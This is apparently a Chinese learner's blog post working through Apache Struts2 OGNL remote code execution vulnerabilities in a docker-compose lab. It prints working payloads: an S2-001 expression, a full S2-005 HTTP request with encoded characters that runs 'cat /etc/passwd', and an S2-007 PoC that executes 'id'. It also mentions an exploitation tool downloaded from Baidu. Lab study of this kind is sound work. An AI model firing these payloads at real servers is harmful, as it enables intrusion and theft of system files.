本学习目标都是使用docker-compose
话不多说,直接介绍
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
影响版本:Struts 2.0.0 – Struts 2.0.8
代码执行get
%{#req=<span>@org.apache.struts2.ServletActionContext</span><span>@getRequest(),#response=#context.get(</span>“com.opensymphony.xwork2.dispatcher.HttpServletResponse”).getWriter(),#response.println(#req.getRealPath(‘/‘)),#response.flush(),#response.close()}
影响版本: 2.0.0 - 2.1.8.1
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制
XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:
user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:
\u0023
绕过s2对#
的防御POST /example/HelloWorld.action HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)
Host: target:8080
Content-Length: 626
redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
影响版本: 2.0.0 - 2.2.3
漏洞详情: http://struts.apache.org/docs/s2-007.html
当配置了验证规则 -validation.xml
时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回
poc:’ + (#_memberAccess[“allowStaticMethodAccess”]=true,#foo=new java.lang.Boolean(“false”) ,#context[“xwork.MethodAccessor.denyMethodExecution”]=#foo,<span>@org.apache.commons.io.IOUtils</span><span>@toString(</span><span>@java.lang.Runtime</span><span>@getRuntime().exec(‘id’).getInputStream()))</span> + ‘
影响版本: 2.0.0 - 2.3.15
访问http://your-ip:8080/index.action?redirect:OGNL表达式
即可执行OGNL表达式。
学习到这里,发现struts2漏洞非常难利用,poc需要对java代码、OGNL表达式很熟悉,有没有什么可以直接利用的工具呢?
这边就从百度随意下了一个工具,测试一下能否正常使用:
还是工具香
影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:
的方式来调用名字是``的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
mmmm
发表于 11个月前
1
评论列表
加载数据中...